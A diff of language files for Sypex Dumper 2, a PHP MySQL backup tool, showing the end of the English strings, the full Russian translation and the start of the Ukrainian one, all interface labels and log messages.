|
'cfg_confirm' => 'Ask confirmation for:',
|
||||||
|
'cfg_conf_import' => 'import',
|
||||||
|
'cfg_conf_file' => 'file delete',
|
||||||
|
'cfg_conf_db' => 'database delete',
|
||||||
|
'cfg_conf_truncate' => 'table empty',// 2.0.7 pro
|
||||||
|
'cfg_conf_drop' => 'table delete',// 2.0.7 pro
|
||||||
|
'cfg_outfile_path' => 'Path for OUTFILE:',// 2.0.7 pro
|
||||||
|
'cfg_outfile_size' => 'OUTFILE buffer size (МБ):',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Connection
|
||||||
|
'con_header' => 'Connection Settings',
|
||||||
|
'connect' => 'Connection',
|
||||||
|
'my_host' => 'Host:',
|
||||||
|
'my_port' => 'Port:',
|
||||||
|
'my_user' => 'User:',
|
||||||
|
'my_pass' => 'Password:',
|
||||||
|
'my_pass_hidden' => 'Password is not shown',
|
||||||
|
'my_comp' => 'Compression protocol',
|
||||||
|
'my_db' => 'Databases:',
|
||||||
|
'btn_cancel' => 'Cancel',
|
||||||
|
|
||||||
|
// Save Job
|
||||||
|
'sj_header' => 'Save job',
|
||||||
|
'sj_job' => 'Job',
|
||||||
|
'sj_name' => 'Name (eng.):',
|
||||||
|
'sj_title' => 'Description:',
|
||||||
|
|
||||||
|
// Create DB
|
||||||
|
'cdb_header' => 'Create new database',
|
||||||
|
'cdb_detail' => 'Details',
|
||||||
|
'cdb_name' => 'Name:',
|
||||||
|
'combo_collate' => 'Collation:',
|
||||||
|
'btn_create' => 'Create',
|
||||||
|
'hint' => 'Hint',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Authorization
|
||||||
|
'js_required' => 'JavaScript must be enabled',
|
||||||
|
'auth' => 'Authorization',
|
||||||
|
'auth_user' => 'User:',
|
||||||
|
'auth_remember' => 'remember',
|
||||||
|
'btn_enter' => 'Enter',
|
||||||
|
'btn_details' => 'Details',
|
||||||
|
|
||||||
|
// Log messages
|
||||||
|
'not_found_rtl' => 'RTL-file not exists',
|
||||||
|
'backup_begin' => 'Start export DB `%s`',
|
||||||
|
'backup_TC' => 'Export table `%s`',
|
||||||
|
'backup_VI' => 'Export view `%s`',
|
||||||
|
'backup_PR' => 'Export procedure `%s`',
|
||||||
|
'backup_FU' => 'Export function `%s`',
|
||||||
|
'backup_EV' => 'Export event `%s`',
|
||||||
|
'backup_TR' => 'Export trigger `%s`',
|
||||||
|
'continue_from' => 'from positions %s',
|
||||||
|
'backup_end' => 'Export database `%s` finished.',
|
||||||
|
'autodelete' => 'Autodelete of old files:',
|
||||||
|
'del_by_date' => '- `%s` - deleted (by date)',
|
||||||
|
'del_by_count' => '- `%s` - deleted (by count)',
|
||||||
|
'del_fail' => '- `%s` - delete fail',
|
||||||
|
'del_nothing' => '- no files to delete',
|
||||||
|
'set_names' => 'Set connection encoding: `%s`',
|
||||||
|
'restore_begin' => 'Start import DB `%s`',
|
||||||
|
'restore_TC' => 'Import table `%s`',
|
||||||
|
'restore_VI' => 'Import view `%s`',
|
||||||
|
'restore_PR' => 'Import procedure `%s`',
|
||||||
|
'restore_FU' => 'Import function `%s`',
|
||||||
|
'restore_EV' => 'Import event `%s`',
|
||||||
|
'restore_TR' => 'Import trigger `%s`',
|
||||||
|
'restore_keys' => 'Enable indexes',
|
||||||
|
'restore_end' => 'DB `%s` restored from a backup.',
|
||||||
|
'stop_1' => 'Execution aborted by user',
|
||||||
|
'stop_2' => 'Execution stopped by user',
|
||||||
|
'stop_3' => 'Execution stopped by timer',
|
||||||
|
'stop_4' => 'Execution stopped by timeout',
|
||||||
|
'stop_5' => 'Execution aborted because of an error',
|
||||||
|
'job_done' => 'Job successful',
|
||||||
|
'file_size' => 'File size',
|
||||||
|
'job_time' => 'Time spent',
|
||||||
|
'seconds' => 'seconds',
|
||||||
|
'job_freeze' => 'The process has not been updated for more than 30 seconds. Click Resume',
|
||||||
|
'stop_job' => 'Stop request',
|
||||||
|
|
||||||
|
// For JS
|
||||||
|
'js' => array(
|
||||||
|
|
||||||
|
// Tabs names
|
||||||
|
'backup' => 'Export database (schema)',
|
||||||
|
'restore' => 'Import database (schema)',
|
||||||
|
'log' => 'Log',
|
||||||
|
'result' => 'Results',
|
||||||
|
'files' => 'Files',
|
||||||
|
'services' => 'Services',
|
||||||
|
'options' => 'Options',
|
||||||
|
|
||||||
|
// Tables header
|
||||||
|
'dt' => 'Date/time',
|
||||||
|
'action' => 'Action',
|
||||||
|
'db' => 'Database',
|
||||||
|
'type' => 'Type',
|
||||||
|
'tab' => 'Tabs',
|
||||||
|
'records' => 'Records',
|
||||||
|
'size' => 'Size',
|
||||||
|
'comment' => 'Comments',
|
||||||
|
|
||||||
|
// AJAX Status
|
||||||
|
'load' => 'Loading',
|
||||||
|
'run' => 'Running...',
|
||||||
|
'sdb' => 'Create new database',
|
||||||
|
'sc' => 'Save connection',
|
||||||
|
'sj' => 'Save job',
|
||||||
|
'so' => 'Save options',
|
||||||
|
|
||||||
|
// Messages
|
||||||
|
'pro' => 'Option available only in Pro-version',
|
||||||
|
'err_fopen' => 'Unable to open file',
|
||||||
|
'err_sxd2' => 'View file contents available only for files created by Sypex Dumper 2',
|
||||||
|
'err_empty_db' => 'Database is empty',
|
||||||
|
'fdc' => 'Do you really want to delete file?',
|
||||||
|
'ddc' => 'Do you really want to delete database?',
|
||||||
|
'fic' => 'Do you really want to import file?',
|
||||||
|
'ttc' => 'Do you really want to empty table?',// 2.0.7 pro
|
||||||
|
'tdc' => 'Do you really want to delete table?',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Sizes
|
||||||
|
'sizes' => array('B', 'KB', 'MB', 'GB'),
|
||||||
|
|
||||||
|
// Изменение/исправление кодировки
|
||||||
|
'chc_header' => 'Change charset',// 2.0.7 pro
|
||||||
|
'coc_header' => 'Correct charset',// 2.0.7 pro
|
||||||
|
|
||||||
|
'hint_chc' => 'Change charset needed in cases where you need to change the encoding tables and data, for example, from cp1251 to utf8.',// 2.0.7 pro
|
||||||
|
'hint_coc' => 'Correct charset needed in cases where a table is specified one encoding, and data to another. For example, a table in latin1, and the data in cp1251.',// 2.0.7 pro
|
||||||
|
'need_backup' => 'It is recommended to make a backup of the database.',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Долнительные сервисы
|
||||||
|
'btn_chc' => 'Change charset',// 2.0.7 pro
|
||||||
|
'btn_coc' => 'Correct charset',// 2.0.7 pro
|
||||||
|
'btn_enable' => 'Enable keys',// 2.0.7 pro
|
||||||
|
'btn_disable' => 'Disable keys',// 2.0.7 pro
|
||||||
|
'btn_truncate' => 'Empty table',// 2.0.7 pro
|
||||||
|
'btn_drop' => 'Delete table',// 2.0.7 pro
|
||||||
|
'btn_drop_db' => 'Delete DB',// 2.0.7 pro
|
||||||
|
)
|
||||||
|
);
|
||||||
|
?>
|
|
@ -0,0 +1,236 @@
|
||||||
|
<?php
|
||||||
|
// Language File for Sypex Dumper 2
|
||||||
|
$LNG = array(
|
||||||
|
|
||||||
|
// Информация о файле локализации
|
||||||
|
'ver' => 20007, // Для какой версии предназначен файл
|
||||||
|
'translated' => 'zapimir (http://sypex.net/)', // Контакты переводчика
|
||||||
|
'name' => 'Русский', // Название языка
|
||||||
|
|
||||||
|
// Панель инструментов
|
||||||
|
'tbar_backup' => 'Экспорт',
|
||||||
|
'tbar_restore' => 'Импорт',
|
||||||
|
'tbar_files' => 'Файлы',
|
||||||
|
'tbar_services' => 'Сервисы',
|
||||||
|
'tbar_options' => 'Опции',
|
||||||
|
'tbar_createdb' => 'Создать БД',
|
||||||
|
'tbar_connects' => 'Соединение',
|
||||||
|
'tbar_exit' => 'Выход',
|
||||||
|
|
||||||
|
// Названия объектов в дереве
|
||||||
|
'obj_tables' => 'Таблицы',
|
||||||
|
'obj_views' => 'Представления',
|
||||||
|
'obj_procs' => 'Процедуры',
|
||||||
|
'obj_funcs' => 'Функции',
|
||||||
|
'obj_trigs' => 'Триггеры',
|
||||||
|
'obj_events' => 'События',
|
||||||
|
|
||||||
|
// Экспорт
|
||||||
|
'zip_max' => 'максимум',
|
||||||
|
'zip_min' => 'минимум',
|
||||||
|
'zip_none' => 'Без сжатия',
|
||||||
|
'default' => 'по умолчанию',
|
||||||
|
'combo_db' => 'База данных:',
|
||||||
|
'combo_charset' => 'Кодировка:',
|
||||||
|
'combo_zip' => 'Сжатие:',
|
||||||
|
'combo_comments' => 'Комментарий:',
|
||||||
|
'del_legend' => 'Автоудаление, если:',
|
||||||
|
'del_date' => 'файлам больше %s дней',
|
||||||
|
'del_count' => 'количество файлов более %s',
|
||||||
|
'tree' => 'Выберите объекты:',
|
||||||
|
'no_saved' => '*Нет сохраненных задач',
|
||||||
|
'btn_save' => 'Сохранить',
|
||||||
|
'btn_exec' => 'Выполнить',
|
||||||
|
'outfile' => 'Режим OUTFILE',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Импорт
|
||||||
|
'combo_file' => 'Файл:',
|
||||||
|
'combo_strategy' => 'Стратегия восстановления:',
|
||||||
|
'ext_legend' => 'Дополнительные опции:',
|
||||||
|
'correct' => 'Коррекция кодировки',
|
||||||
|
'autoinc' => 'Обнулить AUTO_INCREMENT',
|
||||||
|
'prefix' => 'Изменить префикс с %s на %s',// 2.0.7 pro
|
||||||
|
'savesql' => 'Сохранить в SQL-файл',// 2.0.7 pro
|
||||||
|
'infile' => ' в файл',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Лог
|
||||||
|
'status_current' => 'Текущий статус:',
|
||||||
|
'status_total' => 'Общий статус:',
|
||||||
|
'time_elapsed' => 'Прошло:',
|
||||||
|
'time_left' => 'Осталось:',
|
||||||
|
'btn_stop' => 'Прервать',
|
||||||
|
'btn_pause' => 'Пауза',
|
||||||
|
'btn_resume' => 'Продолжить',
|
||||||
|
'btn_again' => 'Повторить',
|
||||||
|
'btn_clear' => 'Очистить лог',
|
||||||
|
|
||||||
|
// Файлы
|
||||||
|
'btn_delete' => 'Удалить',
|
||||||
|
'btn_download' => 'Скачать',
|
||||||
|
'btn_open' => 'Открыть',
|
||||||
|
|
||||||
|
// Сервисы
|
||||||
|
'opt_check' => 'Опции для Проверить:',
|
||||||
|
'opt_repair' => 'Опции для Починить:',
|
||||||
|
'btn_delete_db' => 'Удалить БД',
|
||||||
|
'btn_check' => 'Проверить',
|
||||||
|
'btn_repair' => 'Починить',
|
||||||
|
'btn_analyze' => 'Анализировать',
|
||||||
|
'btn_optimize' => 'Оптимизировать',
|
||||||
|
'btn_extra' => 'Дополнительно...',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Опции
|
||||||
|
'cfg_legend' => 'Основные настройки:',
|
||||||
|
'cfg_time_web' => 'Время выполнения в web (сек.):',
|
||||||
|
'cfg_time_cron' => 'Время выполнения в cron (сек.):',
|
||||||
|
'cfg_backup_path' => 'Путь к каталогу backup:',
|
||||||
|
'cfg_backup_url' => 'URL к каталогу backup:',
|
||||||
|
'cfg_globstat' => 'Глобальная статистика:',
|
||||||
|
'cfg_extended' => 'Расширенные настройки:',
|
||||||
|
'cfg_charsets' => 'Фильтр для кодировок:',
|
||||||
|
'cfg_only_create' => 'Бэкап только структуры:',
|
||||||
|
'cfg_auth' => 'Цепочка авторизации:',
|
||||||
|
'cfg_confirm' => 'Спрашивать подтверждение для:',
|
||||||
|
'cfg_conf_import' => 'импорта БД',
|
||||||
|
'cfg_conf_file' => 'удаления файла',
|
||||||
|
'cfg_conf_db' => 'удаления БД',
|
||||||
|
'cfg_conf_truncate' => 'очистки таблиц',// 2.0.7 pro
|
||||||
|
'cfg_conf_drop' => 'удаления таблиц',// 2.0.7 pro
|
||||||
|
'cfg_outfile_path' => 'Путь для OUTFILE:',// 2.0.7 pro
|
||||||
|
'cfg_outfile_size' => 'Размер буффера для OUTFILE (МБ):',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Соединение
|
||||||
|
'con_header' => 'Параметры соединения',
|
||||||
|
'connect' => 'Соединение',
|
||||||
|
'my_host' => 'Хост:',
|
||||||
|
'my_port' => 'Порт:',
|
||||||
|
'my_user' => 'Пользователь:',
|
||||||
|
'my_pass' => 'Пароль:',
|
||||||
|
'my_pass_hidden' => 'Пароль не показан',
|
||||||
|
'my_comp' => 'Протокол со сжатием',
|
||||||
|
'my_db' => 'Базы данных:',
|
||||||
|
'btn_cancel' => 'Отмена',
|
||||||
|
|
||||||
|
// Сохранение задания
|
||||||
|
'sj_header' => 'Сохранение задания',
|
||||||
|
'sj_job' => 'Задание',
|
||||||
|
'sj_name' => 'Имя (англ.):',
|
||||||
|
'sj_title' => 'Описание:',
|
||||||
|
|
||||||
|
// Создание БД
|
||||||
|
'cdb_header' => 'Создание базы данных',
|
||||||
|
'cdb_detail' => 'Детали',
|
||||||
|
'cdb_name' => 'Название:',
|
||||||
|
'combo_collate' => 'Сравнение',
|
||||||
|
'btn_create' => 'Создать',
|
||||||
|
'hint' => 'Подсказка',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Авторизация
|
||||||
|
'js_required' => 'JavaScript должен быть включен',
|
||||||
|
'auth' => 'Авторизация',
|
||||||
|
'auth_user' => 'Пользователь:',
|
||||||
|
'auth_remember' => 'Запомнить',
|
||||||
|
'btn_enter' => 'Войти',
|
||||||
|
'btn_details' => 'Детали',
|
||||||
|
|
||||||
|
// Сообщения в логе
|
||||||
|
'not_found_rtl' => 'Отсутствует RTL-файл',
|
||||||
|
'backup_begin' => 'Начало экспорта БД `%s`',
|
||||||
|
'backup_TC' => 'Экспорт таблицы `%s`',
|
||||||
|
'backup_VI' => 'Экспорт представления `%s`',
|
||||||
|
'backup_PR' => 'Экспорт процедуры `%s`',
|
||||||
|
'backup_FU' => 'Экспорт функции `%s`',
|
||||||
|
'backup_EV' => 'Экспорт события `%s`',
|
||||||
|
'backup_TR' => 'Экспорт триггера `%s`',
|
||||||
|
'continue_from' => 'с позиции %s',
|
||||||
|
'backup_end' => 'Резервная копия БД `%s` создана.',
|
||||||
|
'autodelete' => 'Автоудаление старых файлов:',
|
||||||
|
'del_by_date' => '- `%s` - удален (по дате)',
|
||||||
|
'del_by_count' => '- `%s` - удален (по дате)',
|
||||||
|
'del_fail' => '- `%s` - удалить не удалось',
|
||||||
|
'del_nothing' => '- нет файлов для удаления',
|
||||||
|
'set_names' => 'Установлена кодировка соединения: `%s`',
|
||||||
|
'restore_begin' => 'Начало импорта БД `%s`',
|
||||||
|
'restore_TC' => 'Импорт таблицы `%s`',
|
||||||
|
'restore_VI' => 'Импорт представления `%s`',
|
||||||
|
'restore_PR' => 'Импорт процедуры `%s`',
|
||||||
|
'restore_FU' => 'Импорт функции `%s`',
|
||||||
|
'restore_EV' => 'Импорт события `%s`',
|
||||||
|
'restore_TR' => 'Импорт триггера `%s`',
|
||||||
|
'restore_keys' => 'Включение индексов',
|
||||||
|
'restore_end' => 'БД `%s` восстановлена из резервной копии.',
|
||||||
|
'stop_1' => 'Выполнение прервано пользователем',
|
||||||
|
'stop_2' => 'Выполнение остановлено пользователем',
|
||||||
|
'stop_3' => 'Выполнение остановлено по таймеру',
|
||||||
|
'stop_4' => 'Выполнение остановлено по таймауту',
|
||||||
|
'stop_5' => 'Выполнение прервано из-за ошибки',
|
||||||
|
'job_done' => 'Задание успешно выполнено',
|
||||||
|
'file_size' => 'Размер файла',
|
||||||
|
'job_time' => 'Времени затрачено',
|
||||||
|
'seconds' => 'сек.',
|
||||||
|
'job_freeze' => 'Процесс не обновлялся более 30 секунд. Нажмите Продолжить',
|
||||||
|
'stop_job' => 'Запрос на остановку',
|
||||||
|
|
||||||
|
// Надписи в JS
|
||||||
|
'js' => array(
|
||||||
|
|
||||||
|
// Названия вкладок
|
||||||
|
'backup' => 'Экспорт базы данных',
|
||||||
|
'restore' => 'Импорт базы данных',
|
||||||
|
'log' => 'Лог действий',
|
||||||
|
'result' => 'Результат выполнения',
|
||||||
|
'files' => 'Файлы резервных копий',
|
||||||
|
'services' => 'Сервисы',
|
||||||
|
'options' => 'Опции',
|
||||||
|
|
||||||
|
// Заголовки таблиц
|
||||||
|
'dt' => 'Дата и время',
|
||||||
|
'action' => 'Действие',
|
||||||
|
'db' => 'База данных',
|
||||||
|
'type' => 'Тип',
|
||||||
|
'tab' => 'Табл.',
|
||||||
|
'records' => 'Записей',
|
||||||
|
'size' => 'Размер',
|
||||||
|
'comment' => 'Комментарий',
|
||||||
|
|
||||||
|
// Статусы
|
||||||
|
'load' => 'Загрузка',
|
||||||
|
'run' => 'Выполнение...',
|
||||||
|
'sdb' => 'Создание базы данных',
|
||||||
|
'sc' => 'Сохранение соединения',
|
||||||
|
'sj' => 'Сохранение задания',
|
||||||
|
'so' => 'Сохранение опций',
|
||||||
|
|
||||||
|
// Сообщения
|
||||||
|
'pro' => 'Опция доступна только в Pro-версии',
|
||||||
|
'err_fopen' => 'Не удается открыть файл',
|
||||||
|
'err_sxd2' => 'Просмотр содержимого файла доступен только для файлов созданных Sypex Dumper 2',
|
||||||
|
'err_empty_db' => 'База данных пустая',
|
||||||
|
'fdc' => 'Вы действительно хотите удалить файл?',
|
||||||
|
'ddc' => 'Вы действительно хотите удалить базу данных?',
|
||||||
|
'fic' => 'Вы действительно хотите импортировать файл?',
|
||||||
|
'ttc' => 'Вы действительно хотите очистить таблицы?',// 2.0.7 pro
|
||||||
|
'tdc' => 'Вы действительно хотите удалить таблицы?',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Сокращения размеров файла
|
||||||
|
'sizes' => array('Б', 'КБ', 'МБ', 'ГБ'),
|
||||||
|
|
||||||
|
// Изменение/исправление кодировки
|
||||||
|
'chc_header' => 'Изменение кодировки',// 2.0.7 pro
|
||||||
|
'coc_header' => 'Исправление кодировки',// 2.0.7 pro
|
||||||
|
|
||||||
|
'hint_chc' => 'Изменение кодировки нужно в случаях, когда нужно изменить кодировку таблицы и данных, например, из cp1251 в utf8.',// 2.0.7 pro
|
||||||
|
'hint_coc' => 'Исправление кодировки нужно в случаях, когда у таблицы указана одна кодировка, а данные в другой. Например, таблица в latin1, а данные в cp1251.',// 2.0.7 pro
|
||||||
|
'need_backup' => 'Рекомендуется предварительно сделать бэкап базы данных.',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Долнительные сервисы
|
||||||
|
'btn_chc' => 'Изменить кодировку',// 2.0.7 pro
|
||||||
|
'btn_coc' => 'Исправить кодировку',// 2.0.7 pro
|
||||||
|
'btn_enable' => 'Включить индексы',// 2.0.7 pro
|
||||||
|
'btn_disable' => 'Выключить индексы',// 2.0.7 pro
|
||||||
|
'btn_truncate' => 'Очистить таблицы',// 2.0.7 pro
|
||||||
|
'btn_drop' => 'Удалить таблицы',// 2.0.7 pro
|
||||||
|
'btn_drop_db' => 'Удалить БД',// 2.0.7 pro
|
||||||
|
)
|
||||||
|
);
|
||||||
|
?>
|
|
@ -0,0 +1,236 @@
|
||||||
|
<?php
|
||||||
|
// Language File for Sypex Dumper 2
|
||||||
|
$LNG = array(
|
||||||
|
|
||||||
|
// Информация о файле локализации
|
||||||
|
'ver' => 20007, // Для какой версии дампера предназначен файл
|
||||||
|
'translated' => 'dmytro (http://sypex.net/)', // Контакты переводчика
|
||||||
|
'name' => 'Українська', // Название языка
|
||||||
|
|
||||||
|
// Панель инструментов
|
||||||
|
'tbar_backup' => 'Експорт',
|
||||||
|
'tbar_restore' => 'Імпорт',
|
||||||
|
'tbar_files' => 'Файли',
|
||||||
|
'tbar_services' => 'Сервіси',
|
||||||
|
'tbar_options' => 'Опції',
|
||||||
|
'tbar_createdb' => 'Створити БД',
|
||||||
|
'tbar_connects' => 'З’єднання',
|
||||||
|
'tbar_exit' => 'Вихід',
|
||||||
|
|
||||||
|
// Названия объектов в дереве
|
||||||
|
'obj_tables' => 'Таблиці',
|
||||||
|
'obj_views' => 'Представлення',
|
||||||
|
'obj_procs' => 'Процедури',
|
||||||
|
'obj_funcs' => 'Функції',
|
||||||
|
'obj_trigs' => 'Тригери',
|
||||||
|
'obj_events' => 'Події',
|
||||||
|
|
||||||
|
// Экспорт
|
||||||
|
'zip_max' => 'максимум',
|
||||||
|
'zip_min' => 'мінімум',
|
||||||
|
'zip_none' => 'Без стиснення',
|
||||||
|
'default' => 'стандартно',
|
||||||
|
'combo_db' => 'База даних:',
|
||||||
|
'combo_charset' => 'Кодування:',
|
||||||
|
'combo_zip' => 'Стиснення:',
|
||||||
|
'combo_comments' => 'Коментар:',
|
||||||
|
'del_legend' => 'Автовидалення, якщо:',
|
||||||
|
'del_date' => 'файлам більше %s днів',
|
||||||
|
'del_count' => 'кількість файлів понад %s',
|
||||||
|
'tree' => 'Виберіть об’єкти:',
|
||||||
|
'no_saved' => 'Немає збережених завдань',
|
||||||
|
'btn_save' => 'Зберегти',
|
||||||
|
'btn_exec' => 'Виконати',
|
||||||
|
'outfile' => 'Режим OUTFILE',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Импорт
|
||||||
|
'combo_file' => 'Файл:',
|
||||||
|
'combo_strategy' => 'Стратегія відновлення:',
|
||||||
|
'ext_legend' => 'Додаткові опції:',
|
||||||
|
'correct' => 'Корекція кодування',
|
||||||
|
'autoinc' => 'Обнулити AUTO_INCREMENT',
|
||||||
|
'prefix' => 'Змінити префікс з %s на %s',// 2.0.7 pro
|
||||||
|
'savesql' => 'Зберегти в SQL-файл',// 2.0.7 pro
|
||||||
|
'infile' => ' в файл',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Лог
|
||||||
|
'status_current' => 'Поточний статус:',
|
||||||
|
'status_total' => 'Загальний статус:',
|
||||||
|
'time_elapsed' => 'Пройшло:',
|
||||||
|
'time_left' => 'Залишилося:',
|
||||||
|
'btn_stop' => 'Перервати',
|
||||||
|
'btn_pause' => 'Пауза',
|
||||||
|
'btn_resume' => 'Продовжити',
|
||||||
|
'btn_again' => 'Повторити',
|
||||||
|
'btn_clear' => 'Очистити лог',
|
||||||
|
|
||||||
|
// Файлы
|
||||||
|
'btn_delete' => 'Видалити',
|
||||||
|
'btn_download' => 'Завантажити',
|
||||||
|
'btn_open' => 'Відкрити',
|
||||||
|
|
||||||
|
// Сервисы
|
||||||
|
'opt_check' => 'Опції для Перевірити:',
|
||||||
|
'opt_repair' => 'Опції для Полагодити:',
|
||||||
|
'btn_delete_db' => 'Видалити БД',
|
||||||
|
'btn_check' => 'Перевірити',
|
||||||
|
'btn_repair' => 'Полагодити',
|
||||||
|
'btn_analyze' => 'Аналізувати',
|
||||||
|
'btn_optimize' => 'Оптимізувати',
|
||||||
|
'btn_extra' => 'Додатково...',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Опции
|
||||||
|
'cfg_legend' => 'Основні налаштування:',
|
||||||
|
'cfg_time_web' => 'Час виконання у web (сек.):',
|
||||||
|
'cfg_time_cron' => 'Час виконання у cron (сек.):',
|
||||||
|
'cfg_backup_path' => 'Шлях до каталогу backup:',
|
||||||
|
'cfg_backup_url' => 'URL до каталогу backup:',
|
||||||
|
'cfg_globstat' => 'Глобальна статистика:',
|
||||||
|
'cfg_extended' => 'Розширені налаштування:',
|
||||||
|
'cfg_charsets' => 'Фільтр для кодувань:',
|
||||||
|
'cfg_only_create' => 'Бекап лише структури:',
|
||||||
|
'cfg_auth' => 'Ланцюжок авторизації:',
|
||||||
|
'cfg_confirm' => 'Запитувати підтвердження для:',
|
||||||
|
'cfg_conf_import' => 'імпорту БД',
|
||||||
|
'cfg_conf_file' => 'видалення файлу',
|
||||||
|
'cfg_conf_db' => 'видалення БД',
|
||||||
|
'cfg_conf_truncate' => 'очищення таблиць',// 2.0.7 pro
|
||||||
|
'cfg_conf_drop' => 'видалення таблиць',// 2.0.7 pro
|
||||||
|
'cfg_outfile_path' => 'Шлях для OUTFILE:',// 2.0.7 pro
|
||||||
|
'cfg_outfile_size' => 'Розмір буферу для OUTFILE (МБ):',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Соединение
|
||||||
|
'con_header' => 'Параметри з’єднання',
|
||||||
|
'connect' => 'З’єднання',
|
||||||
|
'my_host' => 'Хост:',
|
||||||
|
'my_port' => 'Порт:',
|
||||||
|
'my_user' => 'Користувач:',
|
||||||
|
'my_pass' => 'Пароль:',
|
||||||
|
'my_pass_hidden' => 'Пароль не відображається',
|
||||||
|
'my_comp' => 'Протокол із стисненням',
|
||||||
|
'my_db' => 'Бази даних:',
|
||||||
|
'btn_cancel' => 'Відміна',
|
||||||
|
|
||||||
|
// Сохранение задания
|
||||||
|
'sj_header' => 'Збереження завдання',
|
||||||
|
'sj_job' => 'Завдання',
|
||||||
|
'sj_name' => 'Ім’я (англ.):',
|
||||||
|
'sj_title' => 'Опис:',
|
||||||
|
|
||||||
|
// Создание БД
|
||||||
|
'cdb_header' => 'Створення бази даних',
|
||||||
|
'cdb_detail' => 'Деталі',
|
||||||
|
'cdb_name' => 'Назва:',
|
||||||
|
'combo_collate' => 'Порівняння',
|
||||||
|
'btn_create' => 'Створити',
|
||||||
|
'hint' => 'Підказка',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Авторизация
|
||||||
|
'js_required' => 'JavaScript має бути ввімкнено',
|
||||||
|
'auth' => 'Авторизація',
|
||||||
|
'auth_user' => 'Користувач:',
|
||||||
|
'auth_remember' => 'Запам’ятати',
|
||||||
|
'btn_enter' => 'Увійти',
|
||||||
|
'btn_details' => 'Деталі',
|
||||||
|
|
||||||
|
// Сообщения в логе
|
||||||
|
'not_found_rtl' => 'Відсутній RTL-файл',
|
||||||
|
'backup_begin' => 'Початок експорту БД `%s`',
|
||||||
|
'backup_TC' => 'Експорт таблиці `%s`',
|
||||||
|
'backup_VI' => 'Експорт представлення `%s`',
|
||||||
|
'backup_PR' => 'Експорт процедури `%s`',
|
||||||
|
'backup_FU' => 'Експорт функції `%s`',
|
||||||
|
'backup_EV' => 'Експорт події `%s`',
|
||||||
|
'backup_TR' => 'Експорт тригера `%s`',
|
||||||
|
'continue_from' => 'з позиції %s',
|
||||||
|
'backup_end' => 'Резервна копія БД `%s` створена.',
|
||||||
|
'autodelete' => 'Автовидалення старих файлів:',
|
||||||
|
'del_by_date' => '- `%s` - видалений (по даті)',
|
||||||
|
'del_by_count' => '- `%s` - видалений (по даті)',
|
||||||
|
'del_fail' => '- `%s` - видалити не вдалося',
|
||||||
|
'del_nothing' => '- немає файлів для видалення',
|
||||||
|
'set_names' => 'Встановлено кодування з’єднання: `%s`',
|
||||||
|
'restore_begin' => 'Початок імпорту БД `%s`',
|
||||||
|
'restore_TC' => 'Імпорт таблиці `%s`',
|
||||||
|
'restore_VI' => 'Імпорт представлення `%s`',
|
||||||
|
'restore_PR' => 'Імпорт процедури `%s`',
|
||||||
|
'restore_FU' => 'Імпорт функції `%s`',
|
||||||
|
'restore_EV' => 'Імпорт події `%s`',
|
||||||
|
'restore_TR' => 'Імпорт тригера `%s`',
|
||||||
|
'restore_keys' => 'Включення індексів',
|
||||||
|
'restore_end' => 'БД `%s` відновлена з резервної копії.',
|
||||||
|
'stop_1' => 'Виконання перервано користувачем',
|
||||||
|
'stop_2' => 'Виконання зупинено користувачем',
|
||||||
|
'stop_3' => 'Виконання зупинено по таймеру',
|
||||||
|
'stop_4' => 'Виконання зупинено по таймауту',
|
||||||
|
'stop_5' => 'Виконання перервано із-за помилки',
|
||||||
|
'job_done' => 'Завдання успішно виконано',
|
||||||
|
'file_size' => 'Розмір файлу',
|
||||||
|
'job_time' => 'Часу витрачено',
|
||||||
|
'seconds' => 'сек.',
|
||||||
|
'job_freeze' => 'Процес не оновлювався більше 30 секунд. Натисніть Продовжити',
|
||||||
|
'stop_job' => 'Запит на зупинку',
|
||||||
|
|
||||||
|
// Надписи в JS
|
||||||
|
'js' => array(
|
||||||
|
|
||||||
|
// Названия вкладок
|
||||||
|
'backup' => 'Експорт бази даних',
|
||||||
|
'restore' => 'Імпорт бази даних',
|
||||||
|
'log' => 'Лог дій',
|
||||||
|
'result' => 'Результат виконання',
|
||||||
|
'files' => 'Файли резервних копій',
|
||||||
|
'services' => 'Сервіси',
|
||||||
|
'options' => 'Опції',
|
||||||
|
|
||||||
|
// Заголовки таблиц
|
||||||
|
'dt' => 'Дата і час',
|
||||||
|
'action' => 'Дія',
|
||||||
|
'db' => 'База даних',
|
||||||
|
'type' => 'Тип',
|
||||||
|
'tab' => 'Табл.',
|
||||||
|
'records' => 'Записів',
|
||||||
|
'size' => 'Розмір',
|
||||||
|
'comment' => 'Коментар',
|
||||||
|
|
||||||
|
// Статусы
|
||||||
|
'load' => 'Завантаження',
|
||||||
|
'run' => 'Виконання...',
|
||||||
|
'sdb' => 'Створення бази даних',
|
||||||
|
'sc' => 'Збереження з’єднання',
|
||||||
|
'sj' => 'Збереження завдання',
|
||||||
|
'so' => 'Збереження опцій',
|
||||||
|
|
||||||
|
// Сообщения
|
||||||
|
'pro' => 'Опція доступна лише у версії Pro',
|
||||||
|
'err_fopen' => 'Не вдається відкрити файл',
|
||||||
|
'err_sxd2' => 'Перегляд вмісту файлу доступний лише для файлів створених Sypex Dumper 2',
|
||||||
|
'err_empty_db' => 'База даних порожня',
|
||||||
|
'fdc' => 'Ви дійсно бажаєте видалити файл?',
|
||||||
|
'ddc' => 'Ви дійсно бажаєте видалити базу даних?',
|
||||||
|
'fic' => 'Ви дійсно бажаєте імпортувати файл?',
|
||||||
|
'ttc' => 'Ви дійсно бажаєте очистити таблиці?',// 2.0.7 pro
|
||||||
|
'tdc' => 'Ви дійсно бажаєте видалити таблиці?',// 2.0.7 pro
|
||||||
|
|
||||||
|
// Сокращения размеров файла
|
||||||
|
'sizes' => array('Б', 'КБ', 'МБ', 'ГБ'),
|
||||||
|
|
||||||
|
// Изменение/исправление кодировки
|
||||||
|
'chc_header' => 'Зміна кодування',// 2.0.7 pro
